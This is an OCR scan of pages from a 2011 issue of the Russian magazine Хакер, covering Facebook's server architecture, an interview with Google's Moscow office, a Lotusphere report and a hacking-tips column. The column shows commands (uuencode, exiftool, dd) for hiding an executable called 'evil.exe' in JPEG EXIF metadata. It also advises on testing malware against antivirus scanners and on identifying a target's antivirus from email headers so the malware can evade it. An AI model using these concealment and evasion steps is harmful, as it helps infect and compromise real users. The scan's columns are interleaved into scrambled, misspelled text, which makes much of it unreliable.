масштабируемость, минимизацию количества точек отказа и ,

сто «исторически сложилось». Он хорошо подходит для веб­

про­

-

что самое важное, простоту. Чтобы не быть голословным, укажу

разработки, легок в изучении и работе, для программистов

основные технологии, которые сейчас используются внутри

доступен огромный ассортимент библиотек. К тому же существу­

Facebook:

ет огромное международное сообщество. Из негативных сторон можно назвать высокий расход оперативной памяти и вычисли­ тельных ресурсов. Когда объем кода стал слишком велик, к этому

Операционная сист е ма

о с новно й язы к программ ирования

агрес с и в ное к эширование объе к тов

х ранилище данны х в виде пар «к люч - значени е»

универсальная система сбора и агрегации данны х с

раб о чи х с е рверов

- Linu x; -

РНР

+

надстройка ;

- memcached; - MySQL;

- Scribe ,

списку добавились слабая типизация, линейный рост издержек при подключении дополнительных фай л ов, ограни ч енные воз­

можности д л я статичного анализа и оптимизации. Все это стало создавать большие труд н ости. П о этой причине в Facebook была реализована масса доработок к РНР, в том числе оптимизация

байт-кода, улучшения в Аре (ленивая загрузка, оптимизация Балансировщик нагрузки выбирает php-сервер для обработки

блокировок, «подогрев» кэша] и ряд собственных расширений

каждого запроса, где

(клиент memcache , формат сериализации, логи, статистика,

HTML генерируется на основе различных

источников (таких как MySQL, memcached] и специализирован-

ХАКЕР

04 / 147/ 20 1 1

мониторинг, механизм асинхронной обработки событий].

~

031


Дополнительный инструментарий

Курс на

opensource

Возвращение инноваций общественности

Для управления такой огромной системой в

Facebook'e были

разработки в

Facebook.

-

важный аспект

Компанией были опубликованы свои

созданы различные ДОПОЛfj.ительные сервисы. Всего их более

проекты: Thrift (incubator.apache.org/thrift), Scribe (github.coml

пятидесяти, приведу несколько примеров:

facebook/scribel , Tornado Itoгnadoweb.oгg ), Cassandra !cassan-

SMC (консоль управления сервисами) - централизованная кон­ фигурация , определение , на какой физической машине работа ­

dra.apache .orgl , Va rnish Ivarnish-cache.org ), Hive (hive.apache . QI.g,), xhprof (pecl.php.net/package/xhpro fJ . Помимо этого были

ет ло г ический сервис;

сделаны доработки для РНР,

ODS -

стических данных, имеющихся в системе

- удобе н для монито­

Facebook с opensource-

сообществом этих и других проектов расположена на странице,

посвященной opensouгce (developers. facebook.com/opensouгce ).

ринга и оповещений;

Gatekeeper -

MySQL, memcached .

Информация о взаимодействии

инструмент для визуализации изменений любых стати­

разделени е процессов ра звертыва ния и за п уска,

д/В-тестирования (метод, позволяющий определить , какая вер­ сия страницы лучше уговаривает посетителей совершить то или

Search - The Work

иное действие).

Особого внимания заслуживает проект

HipH op -

это транс­

форматор исходного кода из РНР в оптимизированный С++. Принцип простой: разработчики пишут на РНР, который кон­ вертируется в оптимизированный С++. В надстройке реали­ зованы статический анализ кода, определение типов данных,

г енерация кода и многое другое. Также

HipHop облегчает раз­

работку расширений, существенно сокращает расходы опера­ тивной памяти и вычислительных ресурсов. У команды из трех программистов ушло полтора года на разработку этой техноло­ гии, в частности была переписана большая часть интерпрета­

тора и многие расширения языка РНР. Сейчас коды HipHop опу-

Принцип работы поиска в

Facebook

бликованы под opensouгce лицензией, пользуйся на здоровье.

Доработки

Теперь о базе данных. В отличие от большинства сайтов, в

матического механизма

MySQL

memcached MySQL

Facebook используется как простое хранилище пар «ключ­

и

MySQL

проверк и

консистенции данных между

приходится делать это на уровне про­

граммнога кода. Основным способом использования является множество

multi - get

memcache

запросов, используемых для

значение». Большое количество логических баз данных распре­

получения данных на другом конце ребер графа.

делено по физическим серверам, но репликация используется

В

только между датацентрами. Балансировка нагрузки осущест­

по вопросам производительности. Большинство из описан-

Facebook очень активно зани мают ся доработкой проекта

вляется перераспределением баз данных по машинам. Так как

ных ниже доработок были включены в орепsоuгсе-версию

данные распределены случайным образом, никакие операции

memcached: порт на 64-битную архитектуру, сериализация,

типа

многопоточность , компрессия, доступ к

JOIN , объединяющие данные из нескольких таблиц, в коде

memcache через UDP

не используются. В этом есть смысл. Ведь наращивать вычис­

(уменьшает расход памяти благодаря отсутствию тысяч буфе­

лительные мощности проще на веб-серверах, чем на серверах

ров TCP-соединениЙ). В дополнение были внесены н екоторые

баз данны х. В

изменения в ядро Liпuх для оптимизации работы

Facebook используется практически не моди­ фицированный исходный код MySQL, но с собственными схе­ мами распределения данных между серверами по глобально­

каций

уникальным идентификаторам и архивирования, основанного на

секунду по сравнению со стандартными

ча стоте доступа к данным. Принцип очень эффективен, посколь­

гинальной версии.

ку большинство запросов касаются самой свежей информации.

memcache.

Насколько это действенно? После вышеперечисленных модифи­

memcached способен выполнять до 250 000 операций в

Д оступ к новым данным максимально оптимизирован, а старые

Фреймворк

записи автоматически архивируются. Также используются свои

Еще одной инновационной разработкой

библиотеки для доступа к данным на основе графа, где объ ­

проект

30 000 -

40 000 в о ри­

Thrift Facebook является

Thrift. По сути, это механизм построения приложений

екты (вершины графа) могут иметь лишь огра нич е нный набор

с использованием нескольких языков программирования.

типов данных (целое число , ст рока ограниченной длины, текст),

Основная цел ь

а связи (ребра графа) автоматически реплицируются, образуя

модействия между разными технологиями программирования.

аналог распределенных внешних ключей.

Thгift предлагает разработчикам специальный язык описания

Использование Как известно,

memcached -

деленная хэш-таб лица. ные из

Memcached

высокопроизводительная распре­

Fa cebook хранит в ней «горячие» дан­

MySQL, что существенно снижает нагрузку на уровне баз

-

предоставить технологию прозрачного взаи­

интерфейсов, статический генератор кода, а также поддержи­

вает множество языков, в том числе С++ , РНР,

Python, Java,

Ruby, Erlang, Perl, Haskell. Возможен выбор транспорта (сокеты , файлы, буферы в памяти) и стандарта сериализации (бинарный,

JSON). Поддерживаются различные типы серверов: неблаки­

данных. Используется более 25 Тб (только вдумайся в цифру)

рующие, асинхронные, как однопоточные, так и многопоточные.

оперативной памяти на нескольких тысячах серверов при

Альтернативными технологиями являются

среднем времени отклика менее

Pillar,

250 мкс. Кэшируются сериал и­

зованные с труктуры данных РНР, прич ем и з-за отсутствия авто-

~

032

Pгotocol

Buffers,

статки, и это вынудило

SOAP , CORBA, СОМ ,

но у всех есть свои существенные недо­

Facebook разработать свою собствен ную. ХАКЕР

04 /147/ 2011


facebook

OEVELOPERS

~nt"tJun

Форум

.",,,~<;<"

Ь"'"

Ну Ар!>'

facebook

W,bs.ns

...._..

AppsonfacНoolc

COr'ConctpU.

Connect Digg with

..,'"..."...... ,......;.,

Sre.qu"'t,.uzl - · !!.tt~:IIV>N. t ..c: .. bOcIr..e-а..!d1. .. lсg/аррr.qo",.,t.?"р.1.d·· . ,."".1..:1 .•. ·'r• .:Ilr. cc.':rl- · . url . ncc.:loI5c.nv., .p. g."

AMI!CtdTop!cs

1! Itlфt'lIS.ИQO!!Т( "r.qu"С.ld''']I' (

oo:hc("<.crlpC) top.lcc.t1cn.href - '· • Sr."",•• c'.l>.rl . ·'<1.0:: 1pt>" ) 1 I e.l,e {

to:hc ·1I..qu" .t 1.:1, •• ,

ту

Facebook account

~ 'ЫЩ.j.jl l

pr1n". r (S.II.tQU!:S't("r,qu •• " • .\.dJJ"]1:

currently logged in as: John Sm ith (Switch User)

.

Allow Digg to know who I am and access ту information

ii-:':::_·~-----

= "11--

~-

О

"l1li- '-

. ~ --

Always remember Digg

те оп

Сап

'3iffl!i.!ii' Для разработчиков приложений Facebook предлагает

Технология Facebook

отличные мануалы

свой аккаунт в социальной сети на сторонних сервисах

Connect позволяет использовать

«8 Facebook используется

ством небольших файлов . Метаданные не помещаются в опе­

практически не модифици­

к дисковой подсистеме. О г раничиваю щ и м факт оро м я вл яется

рованный исходный код MySQL, но с собственными схемами

миэации стало кэширование. Наболее часто используемые

распределения данных между

серверами по глобально­ уникальным идентификаторам »

ративн ую память , ч т о при водит к дополнительным обращениям ввод-вывод, а не плотность хранения. Первым шагом по опти­ миниатюры изображений кэшировались в п амяти на оригина л ь­

ных серверах для масштабируемости и производительности, а

также распределялись по CDN Iгеографи ч ески рас п ре д еле нн ой сетевой инфраструктуреl для уменьшения сетевых задержек. Это дал о результат. Позже оказалось, что можно сделать еще лучше. Изображения стали хранить в больших бинарных фай л ах

'ЫОЫ, предоставляя приложению информацию о том, в каком файле и с каким отступом Iпо сути, идентификаторомl от нача­ ла расположе н а кажд ая фото г ра ф ия. Такой сервис в получил название

Важное преимущество

Thrift'a

заключается в производитель­

ности. Он очень и очень быс т рый , но д аже это не главный его плюс. С появлением

Thrift

на разработку сетевых интерфейсов

и протоколов уходит куда меньше в р емени. В

Facebook техно­

Haystack

Fa cebook

и оказался в десять раз эффект ив­

нее « пр осто го » подхода и в три раза эффективнее «оптимизи­

рованного». Как говорится, все ген и альное просто!

Подводим итоги

логия входит в об щи й инструментарий, ко т орый знаком любому

Не секрет, что стек

программисту. В частности благодаря этому удалось ввести чет­

ния самых сложных систем, но при этом далеко не идеален.

LAMP эффективен и пригоден для созда­

кое разделение труда: работа над высокопроизводительными

Конечно,

серверами те п ерь веде т ся отдельно от работы над приложе­

но далеко не все . Каждый крупный проек т с та лкивае т ся с тем,

ниями.

что:

Thrift, как и многие другие разработки Facebook, сейчас

PHP+MySQL+Memcache решают большинство зада ч,

• РНР не может х р а н и т ь состояния;

наход ит ся в откры т ом досту п е.

Хранение фотографий

• РНР не самый производительный язык;

Зако нч ив на этом рассказывать об используемых техноло г и-

• все данные находятся у даленно. Facebook'y 'да и любы м дру г им крупным проектам l прихо д и т-

ях, хочу привести подробности решения интересной задачки

ся разрабатывать собственные внутренние сервисы, чтобы

внутри социальной сети, а именно

компенсировать недостатки основных технологий, перенести

-

организации хранения

фо т ографий. М н о г их фот о г рафий. Грома д но г о количества фото­

исполняемый код ближе к да н ным, сде л ать р есурсоемк и е час т и

графий. Это довольно интересная история. Сначала фотоальбо­

кода более эффективными, реализовать преимущества, которые

мы пользователей были организованы по самому тривиальному

доступны только в определе н ных языках п р ограмми р ова н ия.

сценарию:

Молниеносная обработка запросов от чудовищного коли ч ества

• при загрузке на сервер приложение принимает изображение,

пользователей достигается за счет комплексного подхода к

соз д ает миниатюры в нужных разрешениях, сохраняет в NFS;

распределению запросов по тысячам серверов и н е пр ерыв н ой

• при загрузке с сервера изображения отдаются напрямую из

работе над устранением узких мест в системе. В компании есть

NFS через НТТР. Такой простой подход был необходим, чтобы

много небольших команд с полномочиями принимать важные

сначала п роверить, что п ро д укт вос т ребован п ользова т елями , и

реше н ия, что в совокуп н ости с коротким и ц ик л ами р азработ к и

они действительно будут активно загружать фотографии. Новая

позволяет очень быстро двигаться вперед и оперативно решать

фича, как известно, «по п ерла». Но на практике оказалось , что

все проблемы. Результат проверить несложно. Открой

фай л овые с и сте м ы не пр игодны для работ ы с бо л ьшим количе-

сот . ::х:

ХАКЕР

04/147/2 0 1 1

facebook .

~ ОЗЗ


• •

Б есе д у ве ли : Степа ИЛЬИН и Никита Кислицин

GООGLЕРОССИЯ Беседа с Гllавой московского центра разработок Евгением L;околовым с) в российском представительстве компании Googie работает около ста человек. И в отличие от многих других западных компаний, здесь ведется реальная работа над продуктами поискового гиганта. С не­ давнего времени московские ребята переехали в новый замечатель­ ный офис, фотографиями которого пестрит весь инет. Мы никак не могли отказать себе в удовольствии заглянуть к ним в гости и пооб­ щаться с Евгением Соколовым, главой московского центра разрабо­ ток компании Googie. И вот что он нам рассказал. о разрабатываемых проектах

ной систе мы и безопа с но с точки зрения пользователя. Это, кстати,

Есть несколько групп разработчиков, которые за нимаются раз­

открытый проект, исходники которого всегда доступны на сайте

ными типами проектов. В стенах московского офиса, в частно сти,

code .google.com/g/nativeclient. Ruпtimе-тестирование - это отдель­

ведется работа над сервисом словарей, утилитами для

ная тема. В московском офисе

runtime-

Google работает Костя Серебряный,

тестирования, отдельными частями Chrome 05, технологией Native

который создал утилиту Thread5anitizer !code.google .com/g/data-

Client. Последняя в будущем реализует запуск машинного Iнативн о­

race-test l, позволяющую полуавтоматически находить data races

гоl кода в различных браузерах. Прич ем независимо от операцион-

!состояние гонкиl. Та кие ошибки очень сложно поймать обычными

~

034

ХАКЕР

04 / 1471 2011


Неформальная обстановка в офисе

1.

Google

Россия

Пр едставляете себе вагон пригородной злект р ички? А яблоко?

Простой вопрос: сколько яблок поместится в один такой вагон?

2. Есть куб. Проведем перпендикулярно его главной диагонали п лоскость. Первый вопрос lи это прелюдияJ: какая фи~ра получится в сечении? А теперь главный вопрос: что получится при сечении, если куб будет четырехмерным?

о мотивации У н ас достой н ые зарп л аты и премии. Пр и труд оустройстве сотруд­ нику также выдаются акции, а акции

Google,

как извест н о, стоят

дорого. Новичок сразу уезжает на обучение в Калифорнию , чтобы быст р о вникнуть в основные аспекты деятельности ком п ании: «Вот

Google,

вот так работает поиск, а вот так устроена реклама». Всегда

есть много дополнительных бонусов, которые помо гают сотрудникам бы т ь в тонусе и не те рят ь ин терес к работе. К п римеру, есть прави­ ло: после

18 месяцев на одном проекте человек может попросить

перевести его на д ругой. А если есть же л ание , вооб щ е переве­

ст и сь в дру гой оф и с, что многие и делают. Например, в Цюрих или Калифорнию. На время, а может и насовсем. В

Евгений Соколов

Google

это очень

частая п рактика. Гл ав н ое , ч тобы ч еловеку бы л о интерес н о, и он был продуктивен.

средствами тестирования и отладки, особенно когда объем кода о ч ень большой.

о том, как попасть в google .ru/jobs, то Google Россия. Мы

Про распорядок дня Предполагается, что н а работу надо приход ить до

Google

12. Но , конечно,

за этим никто н е следит. Когда т ы решишь свои задачи , никого не

Если открыть

вы ув ид ите , что там всегда есть

волнует. Кто-то п риезжает в

вакансии в

всегда рады, когда к нам приходят

дня. Это еще связано с тем , что многие работают в интернацио­

9, кто-то - в 12, а кто-то - в 3 часа

люди . Может возникнуть вопрос: а почему же открыты вакансии?

нальных командах, и у них много переговоров с Калифорнией.

О ч ень п росто: п одходя щ их специалистов , как ни ст ранно , мало.

Последние обычно проходят в

Это проблема. Что требуется от кандидата? Умение решать задачи

В целом в

Google

7 вечера , когда в США только 8 утра.

очень свободная обстановка. Поощряется ини­

в масштабе большого и н тернета . Понимание, как правильно сег­

циатива. Доходит до забав н ых ситуа ц ий. На п ример , бывало и такое ,

мен т ировать, какие структуры данных использовать и так далее.

что на ш и инженеры спорили с вице- п резиден тами ком п ании: «Я не

Такого рода вопросы мы обязательно задаем на собеседовании.

согласен, мы должны решить эту задачу по-другомуl».

Важное требование -

умен и е программировать. В

ко используются С++ и

Java:

Google

ш иро-

люди, претендующие на должность

Про тренды в софте

инженера, обычно знают один из них. Даже те, кто сейчас пишет

Google

на С# , как п рав и ло , на чин а л и име нн о с С++. Да и н а самом дел е,

Пользователи со временем комфортн о будут работать на самых разных

если программист пишет на С#, но обладает хорошими базовыми

операционных системах. Для того, чтобы поддерживать этот тренд,

считает, что приложения должны быть кроссплатформенными.

знаниями, то у не го все равно есть все шансы наше собеседование

надо разрабатывать приложения, которые будут работать везде. Сейчас

пройти. Кандида т, п о сути , сд ает зкзаме н второго курса ун и верси­

бол ьшие ставк и делаются на

тета. Проверяется знание структур, алгоритмов, умение оценить их

Компания хочет быть на острие и потому полностью поддерживает все

сложность и тому подобное. Многие ребята, работающие в

новые технологии

Goog le

HTM L5,

HTML5

и, соответственно, веб-сервисы.

участвует в разработке станда рта.

Р оссия , пришли сразу после пол учения ди п лома: больше всего

Н а этот подход напрямую завязана и разрабатываемая нами ОС.

из МГУ, остальные

Chrome OS -

- «с миру по нитке»: из МФТИ, МИФИ, других

московских и ре г иональных вузов Iнапример, из Саратовского уни­ верситета).

о задачках на сообразительность

вообще интересное направление. По сути, это попытка

создать сове р ше н но н овую кор п орати вную п латформу. В чем смысл? Если взять какую-нибудь крупную компанию, то у любого ее сотрудника обязательно будет ноутбук с важными файлами. Потеря лэптопа непре ­ менно влечет к утечке важ н ых данных.

Chrome OS же позволяет хра­ Chrome OS потеря­

в ходе интервью мы нередко задаем разного рода задачки , чтобы

нить файлы централизованно. Даже если нетбук с

проверить ход мышления и общий уровень подготовки кандидата.

ется, то утечки не произойдет Iпотому что файлы хранятся в облаке). Но

Могу пр и вести п ару приме р ов:

п ол учив взаме н новую «ма ш ину», вы сразу увид ите з н акомый набор

Х АКЕР

04/14 7 / 201 1

~

035


Высокие потолки, много свободного места и любая техника по вкусу

В столовой «Самобранка» всегда очень вкусно

Собрание

Tech-talk.

где каждый сотрудник может

поделиться опытом

софта и документов.

Chrome 05 имеет еще одно важное преимущество

- значительно меньшие требования п о железу, нежели другие ОС.

Про программирование на

Мы активно развиваем и нашу облачную платформу Арр Епgiпе для

Сейчас идет активная работа над языком программирования

разработки и развертывания приложений. Здесь есть некоторые

пока он на начальны х стадиях развития. Когда сам

сложности, над которыми работают несколько групп программистов.

на нем большой проект, появится ощутимая поддержка. Но для этого

Главная задача сейчас

компания должна убедиться , что

- сделать сервис более гибким.

Go -

Go Go, но

Google выпустит

это язык, на котором можно

и нужно писать код. Затея здесь следую щая . Есть ощущение, что у

о создании качественного софта

существующих языков имеются проблемы. С++ слишком большой,

Изменение не вносится в код, пока его не рассмотрит кома нда . Как

разветвленный и мохнатый. Два разных человека могут писать несо­

правил о, есть «владельцы » отдельных кусков кода. Так вот, любые

вместимый код. Один использует одни паттерны, другой

изменения, которые вы хотите внести, должны посмотреть . ваш коллега

и в конечном счете это часто плохо стыкуется. Но, замечу, кажды й

и «владелец » куска кода. Помимо этого есть определенные требова­

из них хорошо знает С++. Проблема в том, что это могут быть два

-

другие,

ния к тому, как писать этот код, начиная с того, что он должен быть

разных С++. У нас есть понимание, что разработчики менее эффек­

отформатирован определенным образом. Если вы пишете на С++, то

тивны , чем могли бы стать, если дать им более совершенный язык

все пишут в одинаковом стиле. Это необходимо для того, чтобы код

пр о граммирования. Он должен быть до стато чно выразителен и

был неотчуждаемым. Н ет моего или твоего стиля

- любой инженер

гибок, но без возможности написать одно и то же десятью ра з ными

должен иметь возможность открыть код и понимать, что там написано .

способа ми . По этой причине в

Есть также некоторые декларированные правила по использованию ,

примеру, кейворда implements [как в Java] -

скажем, определенных паттер нов на С++. К тому же, на весь код обя­

Язык

зательно должно быть написан о определенное количество тестов,

людей, которые начали его использовать. Пред стоит еще много

Go

сейчас обкатывается

Go -

оче нь мало ключевых слов. Н ет, к

он попросту не нужен.

появилось большое количество

необходим определенный у ровень покрытия. Эти требования деклари­

работы. Тот же компилятор сейчас только один -

руются внутри компании.

лась альтернатива. Но все впереди. ::Х:

~ 0з6

хоро шо бы появи­

ХАКЕР

04 /147/ 2011


Коллективная работа глазами 18М Lotus knows where you'l1 want to

ье

in January.

....; . -.. • •

18М $oftware

Lotusphere2011 Тhe

Premier Event for Collaboration

....... ••...... . . '." •

', .

.

. f

8

~

-':.

' . • 8 · ...••• е. .

Get SOCIC:iI, Do Business.

.." ..

'

-

Ic-......Iм'" !~

.~' .

А_

_ .

_

\

Каждый год в Орландо компания IBM проводит конференцию

Lotusphere, которая собирает тысячи участников со всего мира.

--..,.s-.t0S..-

o.;aorOO.

J"_J"""_ •......w.. .. IIL_~"-' .,.,.....-

I

~~K....."... ~C>"rtI.u 7 rtewmtmaQOS

l ' r8IIkAd.an\t

,...!f<n _ _ _ ._

&] _ ~=:.:::""~~0"4"_''''''- ' =~"=·~=·;"'=·.;;;;:::;;""---"===-;:-o":.::;i!! I

. --.:::_. •

Это своего рода представление самых последних наработок

. .,. .

м.--·

_ _ _ __

_..- _а:;.

о.."I

компании в области корпоративного софта: инструментов для взаимодействия сотрудников, коллективной работы , управления

проектами, обмена мгновенными сообщениями и так далее. В

центре внимания -

платформа IBM Lotus [давшая название

конференции] и входящие в нее приложения, в том числе Lotus

---~------

~,---

--,,-,

~

'

заново изобретенный IпЬох в виде

Notes и Lotus Ооmiпо. Эти решения используются в самых раз­

Adivity Stream -

ных предприятиях, начиная с небольших, только что зародивших­

ленты социальных событий

ся стартапов и заканчивая крупнейшими международными кор­

порациями . Можно подумать, что скучнее темы не придумаешь,

количество которых было представлено на конференции. Все-таки

и демонстрировать здесь по-настоящему нового нечего. Но это

это очень специфично. Но нельзя не упомянуть ту инновационную

совсем не так.

составляющую, без которой не обходится их реализация . Взять

Девиз конференции в этом году:

«Get Social. 00 Business». Слово

хотя бы анонсированную систему автоматического выставления

«social» во многом отражает главный вектор, на котором IBM сей­

приоритетов поступающим сообщениям. Да-да, приложение само

час сосредоточена в работе над

определяет, какое письмо является важным, а какое, вероятнее

LOtUS'OM.

Задумка в том, чтобы

использовать феномен успеха социальных сетей при построении

всего, вообще не стоит читать. И это работаетl Причем в основе

инструментов для коллективной работы ВНУl'ри компании, сотруд­

лежат наработки

ничества с партнерами и общения с клиентами. Раз уж людям

способной пони мать человеческую речь и, используя базу зна ­

IBM Watson -

нашумевшей системы от

IBM,

привычно и комфортно использовать этот способ коммуникации,

ний, отвечать на поставленные вопросы. В прародителе нашего

то надо сделать его еще одним каналом профессионального

ТВ-проекта «Своя игра» в США она сумела обыграть самых опыт­

взаимодействия. Социальная сеть, но работающая в рамках

ных игроков. И вот теперь схожие интеллектуальные алгоритмы

одного предприятия

используются для ранжирования важности писем.

-

как тебе? Это не просто идея. Подход уже

работает благодаря многочисленным социальным функциям,

IBM и создает, и поддерживает тренды одновременно. С учетом

реализованным в

распространения мобильных устройств, было бы странно , если

Lotus'e. Приглашенные гости Lotusphere 2011

[а это в большинстве своем руководители международных ком­

бы компания не подводила свои продукты для использования

паний] делились опытом, как эти нововведения помогли сделать

где угодно. Поэтому важным направлением в развити~

совместную работу эффективнее. Реальные при меры из жизни

является реализация мобильности. Компания поставила перед

огромных компаний.

собой цель сделать свои решения доступными на современных

Lotus

Каждый компонент таких систем, как Lotus, всецело заточен на

мобильных платформах: iPhon e,'iPad, Android и Blackberry [к

то, что в английском языке называется

слову, вице-президент

«collaboration»,

то есть

RIM по каз ал со сцены разрабатываемый

«взаимодействие». Все крутится вокруг людей; обсуждается, как

сейчас планшетник Play Book]. Другой тренд -

повысить эффективность работы организации. Когда смотришь на

и облачные вычисления. И тут опять же сюрприз:

веб-приложения

то, с каким упоением докладчики рассказывают о новых способах

[тот самый офисный пакет от IBM, которому мы устраивали бета­

эффективной совместной работы, невольно вспоминаешь образ

тестирования] отныне доступен в качестве одного из сервисов

самого обычного российского предприятия. Телефон, e-mail и [в

Lotus Live - облачной платформы, которая появилась в прошлом

Lotus Symphony

лучшем случае] корпоративный мессенджер по-прежнему остают­

году. Новый инструмент позволит создавать документы и работать

ся единственными средствами коммуникации. Все так же, как и

с ними, используя один лишь браузер. Попробовать его в дей ­

десять лет назадl Искренне хочется силой посадить руководите­

ствии можно прямо сейчас:

лей таких к омпаний и показать им, как сейчас, в

2011

году, выгля­

дят инструменты для эффективной работы предприятия. Решения,

Lotusphere -

lotuslive.com/en/symphony.

это не просто конференция. Это умопомрачи тельная

тусовка самых разных людей, которые объединены общей целью

которые изначально были разработаны для продуктивной коллек­

-

тивной работы, а не просто как способ передачи информации.

ся. Поэтому, как гласит девиз мероприятия,

Рассказывая об общих подходах, мы намеренно не углубляемся в

Ве

описание конкретных нововведений платформы

ХА К Е Р

04 /147/ 2011

Lotus,

сделать компании более эффективными. И у них это получает­

social. 00 Business. :::J:

огромное

~

037


• •

Але к сей

.. GreenDo g »

Т ю рин (agrrгdogragmaH . coml

xa~e кие сек ты пр 1»1X

EasyHack

вещеи

ЗАДАЧА : СПРЯТАТЬ ЛЮБОЙ ФАЙЛ В

JPEG'E. РЕШЕНИЕ: Давно уже руки чесались написать что-нибудь про стеганографию. Как нам сообщаетWik iреdiа, стеганография -

это наука о скрытой

передаче информации путем сохранения в тайне са мого факта пере ­ дачи. Н апр имер, невидимые чер нил а

- это од ин из классических

методов стеганограф ии. В той же Вики н аписано, ч то мож н о пи сать

молоком [как Ленин), а с помощью огня проявлять текст. У меня моло­ ка не было, только сгущенка. П о пробовал -

не пол уч илось. Сгу щ енка

палится, видать метод ненадежныЙ ... Лу чш е съесть :l. Но мы живем в ХХI веке, и технологии требуется использовать соответ­ ствующие. Некто Антуан Санто опубликовал недавно небольшую рабо­

ту по поводу скрытия любых файлов в jpeg·a x [dl.packetstormsecurity.

n et/pa ре rs/ ge пега VEm bedd i n g_h id de n_Ii les j nj peg_a nd _ а bu ses. pd 1). В общем-то, ничего н ового он не открыл, но зато все четко и последо ­

вательно описал

:1. Суть метода, который исполь зо в ал Антуан , заклю­

чается в том, что мы можем храни т ь/прятать любое коли ч ество данных

evil.exe

в Вase64 в поле

Comment

в exil-за головкахjреg-ф аЙлов . Exi l - это ста ндарт, п озволяющ ий добавлять к изображениям и пр очим медиафайлам дополнительную

Те п ерь если т ы за п устишь ex iltools test.jpg, то об наружишь изменения

информацию [ метадан н ые ), комментирующую этот файл , описываю­

в заголовках

щую условия и с пособы его получения, авторство и так далее. В общем,

Таким образом, мы все спрятали. И зображение при этом никак не из­

метаданные. Все сов ременные фотоаппараты добавляюттакую инфу

менилось. Разве что размер файла увели чил ся.

-

см. скриншот.

к фоткам, а многие принтеры используют ее для корректной печати .

Конечно, методлайтовый, и задетектить его п росто. Но самое инте­

Мы же эти заголовки используем для своих целей . Автор заюза л для

ре с ное заключается в том, что мы можем залить этот файл в альбом на

своих экспериме нтов какой-то

la ce book или на flickr l Вообще говоря, мы можем зали ть и файлы, в

linu x. Для начала поступим аналогично.

Возьмем любую фотку - test .J pg, и файл, который хот им спрятать - evil.

которых и с пользовали сьдаже более крутые средства стеганографии

ехе. Для начала по смотри м содержимое ехil-заголовков наше го jpeg·a:

[инфу прячут в самом из об ражении), но на всех онлайн-сервисах графические файлы проходят п редоб р аботку и содержимое меняет­ ся . Н о это н е касается ех i l -за гол овков l Только Вконтакте эта тема н е

exiftools test. jpg

работа ет - там имеет место полная обработка изображения. Здесь exiltoo ls ность exil -

станда ртная тулза для работы с ex il. Главная особен­

количество х ранимы х данны х не ограничено. Един ствен­

ное ограниче ние

- текстовый формат. Отсюда и решение - конверти­

Для декодирования и пол уче ния evil.exe из нашего jpeg·a нам тре­ буется выполнить следующую по следовательность . Качаем фотку с фэйсбука, а далее:

руем наш evil.exe в Base64 .

dd if=test3rom_FB . jpg of=test_fromJB.uue bs=l skip=24 uuencode

evil. ехе evil . ехе > evil . txt Где

Здесь uuen code -

тулза для работы с конвертацией; -т

-

указываем ,

dd - ста ндартная тулза для конвертации и копирования файлов;

il - из какого файла ; 01 - в какой файл; bs=1 - размер блока 1 байт;

что конвертируем в Base64.

skip=24 - пр опуст ит ь первые 24 байта [ за ГОЛОВОКJреg).

Теперьдобавим п олученный файл в ех i l-за го л овок файла test.jpg.

Таким образом, мы пол учим в test_Irom_FB. uu e толькотекстовые строки, то есть наш evil.exe в Base64. Далее декодируем ст р оку об­

exiftool -Comment " <="

еуН.

t xt test.jpg

ра з но вехе-файл:

Где:

• -Comment - указываем имя поля, куда добавитьданные; • "<= " еуН . t xt - добавитьданны е из файла evil.txt.

~ оз8

Вторым плюсом этого метода является его простота. Пример

ХАКЕР

04 /1 47 / 201 1


привед е н для *пiх·ов. ното же самое можно сделать и в Win, только

4.

Открываем

потребуе тся больше работать ручками . Например:

5.

Ищем заметную строк у .

jpeg

в каком-либо р едакторе.

б . В ставл яем вместо н ее файл в Ваsеб4 .

1.

Заходим в свойства

2.

Открыв аем в кл а д ку " Подроб н о" (это и есть ехН) .

j peg . Для конвертаци и фай л ов в

Base64 можно вос п ользоваться любым

онлаЙн - сервисом.

З. Изме н яем л юбое п ол е на заметную с т року .

ЗАДАЧА : ПРОВЕРИТЬ «МАЛВАРЬ» НА

• vi rs can. org;

ДЕТЕКТИРУЕМОСТЬ, ИЛИ ЗАМЕНА

• vi r usscan . jott i . org ;

VI-

RUSTOTAL.

• scan ner . vi r us . or g; • vsca n. novi r usth anks.org;

РЕШЕНИЕ:

• e-antivirus . com.

Да, а н тивирей развелось видимо- н ев и димоl О ни те п ерь фактич ески входят в стандарт н ый ком п лект ПО любого ПК. И ч тобы кого -то за­

Ос н овной же «пробл емой» большинства сервисов является то,

разить [естественно, в ознакомительных целях ) , нам приходится эти

что итоги их работы попадают в антивирусные компании. То есть

антивири обходить.

запихнем мы туда подозрительный бинарник . который покамест

На самом деле, если действовать по всем правилам . то желательно

палится лишь частью антивирусов

знать, что у же ртвы за антивирь . да и вообще «ха р актеристики» систе­

буд ет отправлен соответствующий отчет. Таким образом . ч е р ез неко­

мы

торое время и остальные антивирусы д обавят с игн ату р ы в сво и базы.

- ОС, фаера и так далее. Тогда мож н о будет н акат ит ь н а вир утал к е

-

и тем, которые не спалили файл,

анало г ичную, максимально сэмул и рованную систему и протест и ть

Но на самом деле не всетак страшно. О тчетов в антивирус н ые ком­

всю атаку, чтобы она потом прошла , как по маслу.

пании отсылается много, обрабатываются они медленно, а многое и

Самым простым способом определения точной версии антивиря

вовсе отбрасывается.

является, наверное, элект ронная почта. Нам требуется , чтобы наша

Кроме того, у большинства перечисленных сервисов есть галка в

жерт ва что-нибудь нам н а п иса л а. Фишка втом. что боль ш и н ство

ст иле «No distribute», которая п ред п олагает, что фай л ы/результаты

а н тивирусов проверяет ка к о т сылаемую, так и п ри сы л аемую почту.

не будут никуда отправля ться. Но н а а н ти ч а те [forum .antichat.ru/

добавляя в поле

thгеаdпаv32269-1-1 O.html) ест ь старый п ост, говорящий об обратном .

«X-Antiviru s-Sta tus:» заголовка письма запись о

том, что письмо проверено. А в поле

«X-Antivirus :» указывается,

с

Типа, такие файлы наоборот подвергаются более тщательной п ро­

использованием како го антивируса проводилась проверка. Иногда

верке. Вместе с тем, в сети нашлась еще парочка онлайн-сервисов,

прописывается даже версия антивируса и дата апдейта базы, что,

которые утверждают. что никуда ничего не отправляют, но они плат­

безусло вн о , важ н о. Кста т и , а н а л о г ичным образом можно узнать о

н ые [н едорого).

приме н е н ии с п а м -ф и льтра [п ол е «X-spa m ») и и с п ользова нн ом для отправки п очты П О [ поле «X-Ma ilep». При меры на скриншотах.

• wizard-c hecker . com;

Но чаще получается, что наша цель «анонимна» И имеет неизвестный

